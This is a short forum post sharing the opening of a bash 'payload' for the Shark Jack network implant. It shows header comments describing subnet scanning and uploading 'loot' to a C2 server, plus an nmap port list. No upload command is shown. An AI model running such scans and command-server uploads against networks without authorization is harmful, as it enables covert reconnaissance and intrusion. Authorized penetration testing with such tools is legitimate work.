Hey y'all, just wanted to share my slightly modified nmap scan payload.

It scans a bunch of ports, saves the output with a date stamp and multiple output types, and then uploads the loot to the C2 server.

#!/bin/bash

# Title: Custom Nmap Payload for Shark Jack
# Author: Flatlinebb
# Version: 1.02
#
# Scans target subnet with Nmap using specified options. Saves each scan result
# to loot storage folder. Uploads loot to your C2 server
#
# Red ...........Setup
# Amber..........Scanning
# Green..........Finished
#
# See nmap --help for options. Default "-sP" ping scans the address space for
# fast host discovery.

NMAP_OPTIONS="-p 21,22,23,53,69,80,123,139,443,445,554,1812,3389,5220,2022,4242,4343,5000,5650,5655,5670,5800,5900,8080,8333,8222,8765,8008,8009,8181,8282,8383,8484,8888,8443,9000,10000,32400,32401,32402,49153 --open"
